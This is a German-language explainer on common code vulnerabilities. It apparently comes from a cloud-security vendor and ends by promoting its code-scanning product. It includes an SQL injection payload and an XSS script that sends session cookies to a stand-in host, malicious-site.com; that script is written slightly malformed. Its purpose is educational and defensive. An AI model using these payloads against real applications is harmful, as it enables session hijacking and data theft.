Was sind Code-Schwachstellen?
Code-Schwachstellen sind Schwächen in Software, die Angreifer ausnutzen können, um die Sicherheit zu kompromittieren. Sie entstehen häufig durch unsichere Programmierpraktiken, unzureichende Eingabevalidierung oder unsichere Konfigurationen und setzen Anwendungen Risiken wie Datenlecks und unbefugtem Zugriff aus. Solche Schwachstellen gehen auf Entwicklerfehler oder Lücken im Softwareentwicklungsprozess zurück und zählen damit zu den zentralen Themen der modernen Anwendungssicherheit.
Dieser Artikel beleuchtet verschiedene Code-Schwachstellen und die Best Practices, mit denen sich Code und Anwendungen absichern lassen.
Code-Schwachstellen in Cloud-Umgebungen
Cloud Computing bietet Flexibilität, Skalierbarkeit und einen einfachen Zugang für Benutzer, bringt aber auch immer neue Risiken mit sich. Code-Schwachstellen sind zwar nichts Neues, doch für Anwendungen in der Cloud fallen ihre Folgen deutlich gefährlicher aus. Eine einzige Schwachstelle kann viele Kunden betreffen, wodurch die Auswirkungen weitaus größer ausfallen als in On-Premises-Umgebungen.
Ein wesentlicher Grund für diese größere Angriffsfläche liegt darin, dass eine Cloud-Umgebung aus vielen zentralen Komponenten besteht, etwa aus APIs, Containern und Microservices. Werden Cloud-Dienste falsch konfiguriert – etwa das Identity Access Management (IAM) –, entstehen Code-Schwachstellen, die Angreifer leicht ausnutzen können.
Ein falsch konfigurierter Storage-Bucket oder ein offener Datenbank-Endpunkt wird so schnell zum bevorzugten Ziel für Angreifer, die nach sensiblen Daten suchen. Auch lateral movement stellt ein drängendes Risiko dar: Dabei bewegen sich Angreifer nach dem Ausnutzen einer Schwachstelle durch die Cloud-Infrastruktur, um Zugriff auf weitere kritische Systeme zu erlangen. Zusammen zeigen diese Schwachstellen, warum Maßnahmen zur Code-Sicherheit und eine kontinuierliche Überwachung unverzichtbar sind.
Die 6 häufigsten Code-Schwachstellen
1. SQL Injection (SQLi)
SQL-Injection-Schwachstellen gehören zu den bekanntesten und häufigsten Arten von Softwareschwachstellen. Das Prinzip dahinter: Ein Angreifer nutzt die SQL-Abfragen einer Anwendung aus, indem er schädliche Eingaben in Abfrageparameter einschleust. Prüft oder filtert die Anwendung die vom Client empfangenen Eingaben nicht ausreichend, kann der Angreifer über diese manipulierten SQL-Einträge die Datenbank verändern. SQL Injection ermöglicht es threat actors, die Authentifizierung zu umgehen, Kunden- und andere Datensätze auszulesen, Daten zu ändern oder zu löschen oder sogar die vollständige Kontrolle über die Datenbank zu übernehmen. Ein Beispiel ist ein Formular zum Zurücksetzen des Passworts, in dem ein Benutzer seine E-Mail-Adresse eingibt, um einen Link zum Zurücksetzen zu erhalten. Die zugehörige SQL-Abfrage im Backend könnte so aussehen:
SELECT email, username FROM users WHERE email = ':user_input';Ein Angreifer könnte ' OR '1'='1 eingeben, um die Abfrage zu manipulieren. Diese Injection zwingt die Datenbank dazu, alle Benutzernamen und E-Mail-Adressen aus der Tabelle „users" zurückzugeben statt nur des vorgesehenen einzelnen Eintrags. Dadurch lassen sich sensible Informationen aller Benutzer im System preisgeben, darunter E-Mail-Adressen und Benutzernamen, die sich für weitere Angriffe, Phishing oder unbefugte Zugriffsversuche nutzen lassen.
2. Cross-Site Scripting (XSS)
Cross-site scripting (XSS) ist eine Schwachstelle in Webanwendungen, die auftritt, wenn eine Anwendung vom Benutzer bereitgestellte Eingaben ohne saubere Filterung und Kodierung auf Webseiten anzeigt. Angreifer schleusen schädliche Skripte in die Webseiten ein, die anschließend im Browser des Opfers ausgeführt werden. Die Folge sind Datenlecks, der Diebstahl von Sitzungsidentitäten, die Verunstaltung von Websites oder unbefugte Aktionen im Namen des Benutzers. Ein Beispiel ist ein Blog, in dem Besucher Kommentare hinterlassen dürfen. Bereinigt die Website die Benutzereingaben nicht ordnungsgemäß, kann ein Angreifer einen Kommentar mit einem schädlichen Skript wie diesem absenden:
<script>document.location='http://malicious-site.com/steal-cookie?cookie= + document.cookie;Gibt die Website diese Eingabe ohne Bereinigung oder Escaping direkt aus, führt der Browser das Skript bei jedem Laden der Seite aus. Das Skript übermittelt dann das Sitzungs-Cookie des Benutzers an den Server des Angreifers, sodass sich dieser im Blog als der Benutzer ausgeben kann.
3. Buffer Overflow
Ein Buffer Overflow tritt auf, wenn ein Programm mehr Daten in einen Speicherblock fester Größe – einen sogenannten Puffer – schreibt, als dieser aufnehmen kann. Beim Schreiben der überschüssigen Daten wird angrenzender Speicher überschrieben. Das beschädigt mitunter Daten oder eröffnet Angreifern einen Weg, um schädlichen Code einzuschleusen. Overflows treten typischerweise in hardwarenahen Sprachen mit manueller Speicherverwaltung auf, etwa in C und C++. Ihr Ausnutzen kann zur vollständigen Kompromittierung eines Systems führen.
4. Insecure Deserialization
Deserialisierung bezeichnet den Prozess, bei dem Daten aus einem serialisierten Format – zum Beispiel JSON oder XML – zurück in ein Objekt umgewandelt werden. Eine unsichere Deserialisierung liegt vor, wenn nicht vertrauenswürdige Daten ohne Prüfung des Inhalts der serialisierten Objekte deserialisiert werden. Das kann zu remote code execution führen: Ein Angreifer schleust unerwünschte Objekte in die Anwendung ein, die beliebigen Code ausführen oder den Ablauf der Anwendung verändern. Angreifer versenden beispielsweise Zeichenketten, die bei der Deserialisierung ein anderes Ergebnis erzeugen, etwa das Ausführen eines Systembefehls oder den Zugriff auf eine geschützte Ressource.
5. Broken Authentication und Session-Management
Die Schwachstelle „Broken Authentication" entsteht, wenn eine Anwendung ihre Authentifizierungsprozesse nicht absichert und Angreifer sich dadurch als legitime Benutzer ausgeben können. Ein schlechtes Session-Management ist eine verwandte, häufige Schwachstelle: Probleme bei der Verwaltung von Sitzungen ermöglichen es Angreifern, Benutzersitzungen zu übernehmen. Zu den häufigen Problemen bei Authentifizierung und Session-Management zählen folgende:
schwache Passwortrichtlinien oder Mechanismen zur Passwortspeicherung;
offengelegte Session-Tokens in URLs oder Cookies;
fehlende Multi-Faktor-Authentifizierung (MFA);
unsichere Handhabung von Sitzungs-Timeouts oder Cookie-Ablaufzeiten.
Angreifer nutzen diese Schwachstellen aus, indem sie Passwörter erraten, Session-IDs übernehmen oder Session-IDs gezielt erschöpfen.
6. Fehlkonfigurationen der Sicherheit
Eine Fehlkonfiguration der Sicherheit ist jede unsachgemäß konfigurierte Software, jedes Framework oder jeder Dienst, aus dem nach dem Deployment Sicherheitslücken entstehen. Solche Fehlkonfigurationen sind in der Cloud besonders riskant, wo Standardeinstellungen, zu weitreichende Berechtigungen oder eine fehlende Netzwerksegmentierung sensible Daten und kritische Ressourcen offenlegen. Diese Fehler erleichtern es Angreifern, Schwachstellen auszunutzen, Berechtigungen auszuweiten oder auf kritische Systeme zuzugreifen. Zu den häufigen Fehlkonfigurationen zählen folgende:
zu viele offene Angriffsflächen, etwa aktivierte, aber ungenutzte Dienste oder nicht geänderte Standardpasswörter;
falsch gesetzte Berechtigungen;
fehlende Sicherheitsmaßnahmen bei den Standardeinstellungen von Cloud-Ressourcen, zum Beispiel bei Storage-Buckets.
Fehlkonfigurationen bieten Angreifern einfache Einstiegspunkte. Ein öffentlich zugänglicher Cloud-Storage-Bucket führt beispielsweise zur unbefugten Offenlegung sensibler Daten. Ebenso ermöglichen es Standardkombinationen aus Admin-Benutzername und -Passwort auf einem Webserver Angreifern, die Kontrolle zu übernehmen.
Code-Schwachstellen früh erkennen
Schwachstellen früh im Entwicklungsprozess zu erkennen, ist entscheidend, um Sicherheitsrisiken zu minimieren. Die folgenden Techniken und Tools helfen dabei, Schwachstellen aufzuspüren, bevor sie zu größeren Problemen führen:
static application security testing (SAST): SAST-Tools scannen und analysieren den Quellcode eines Programms auf Schwachstellen, ohne ihn auszuführen. So erkennen SAST-Tools Probleme wie SQL Injection, cross-site request forgery und Buffer Overflows bereits in frühen Phasen des SDLC;
dynamic application security testing (DAST): DAST-Tools scannen laufende Anwendungen und erkennen Schwachstellen in Echtzeit. Diese Tests bilden reale externe Angriffe nach und suchen nach Problemen wie broken authentication und unsicheren Einstellungen;
infrastructure as code (IaC) scanning: IaC-Scanning analysiert den Code, der die Cloud-Infrastruktur beschreibt – etwa Terraform, CloudFormation und ARM-Vorlagen –, um Fehlkonfigurationen in IaC-Vorlagen vor dem Deployment zu erkennen. So lassen sich Sicherheitsrisiken wie offene Storage-Buckets, zu weitreichende Berechtigungen oder offene Ports aufdecken;
Code-Reviews und Pair Programming: Code-Reviews und Pair Programming helfen Entwicklern, Lücken im Code anderer zu bemerken, und erleichtern das Aufspüren anfälligen Codes und fehlerhafter Designentscheidungen;
penetration testing: Regelmäßige penetration tests erlauben es Sicherheitsexperten, reale Angriffe auf eine Anwendung zu simulieren und so Schwachstellen aufzudecken, die automatisierte Tools übersehen.
Dieses 11-seitige Cheatsheet vereinfacht komplexe Sicherheitskonzepte mit kuratierten Einblicken und leicht nachvollziehbaren Code-Beispielen und unterstützt so jedes Entwicklungsteam dabei, sichere und zuverlässige Anwendungen zu erstellen.
Best Practices für das Management von Code-Schwachstellen
1. Sichere Programmierpraktiken nutzen
Sichere Programmierpraktiken gehören von Anfang an in den Entwicklungsprozess. Dazu zählen das Validieren von Eingaben, eine korrekte Fehlerbehandlung und der Verzicht darauf, sensible Informationen wie Zugangsdaten fest im Code zu hinterlegen.
2. Regelmäßige Sicherheitsschulungen durchführen
Regelmäßige Sicherheitsschulungen halten Entwicklungsteams über die neuesten Schwachstellen und Best Practices auf dem Laufenden. Wer aktuelle Trends und Verfahren kennt, schleust seltener Schwachstellen in den Code ein.
3. Security-Frameworks und Tools einsetzen
Etablierte Security-Frameworks wie OWASP sowie Tools wie automatisierte Scanner, Dependency-Checker und Plattformen für vulnerability management decken Risiken in Echtzeit auf und begrenzen sie.
4. Security by Design umsetzen
Sicherheit wird zu einem grundlegenden Bestandteil des Softwareentwicklungszyklus, wenn Sicherheitskontrollen und Reviews in jeder Phase greifen – von Design über Programmierung bis zum Testen.
5. Schwachstellen überwachen und patchen
Anwendungen lassen sich kontinuierlich auf neue Schwachstellen überwachen. Alle Softwarekomponenten, einschließlich Bibliotheken von Drittanbietern, erhalten dabei regelmäßig die aktuellen Sicherheitspatches.
6. Zugriff und Berechtigungen begrenzen
Das Prinzip der geringsten Berechtigung (PoLP) begrenzt den Zugriff auf sensible Bereiche des Systems. Benutzer und Dienste erhalten nur die Berechtigungen, die sie für ihre Rolle tatsächlich benötigen.
Code mit Wiz absichern
Code-Schwachstellen sind eine kritische Bedrohung für die Anwendungssicherheit, besonders in komplexen Systemen. In der Cloud verschärfen Faktoren wie eine gemeinsam genutzte Infrastruktur und Fehlkonfigurationen die Risiken zusätzlich. Code-Schwachstellen in der Cloud richten erheblichen Schaden an, der von Datenlecks über Dienstausfälle bis hin zu Reputationsschäden reicht. Wer diese Risiken kennt und Best Practices umsetzt, reduziert sie deutlich, schreibt sichereren Code und sichert seine Anwendungen ab.
Letztlich beginnt ein stärkerer Sicherheitsstatus mit den richtigen Tools, um Code-Schwachstellen von Anfang an zu erkennen und zu managen. Genau hier setzt Wiz Code an. Mit einer einheitlichen Policy-Engine, anpassbaren Richtlinien für die Code-Sicherheit und einer Integration in die IDE, in Pull Requests und in CI/CD-Pipelines erkennt und priorisiert Wiz Code Schwachstellen früh in der Entwicklung. Einblicke in Echtzeit ermöglichen es Entwicklungsteams, Probleme zu beheben, bevor sie die Produktion erreichen. Das reduziert Risiken und stärkt die Sicherheit insgesamt. Eine Demo mit Wiz zeigt, wie einfach sich Code vor Schwachstellen schützen lässt.
So scannt Wiz Code IaC, Container und Pipelines, um Fehlkonfigurationen und Schwachstellen zu stoppen, bevor sie die Cloud erreichen.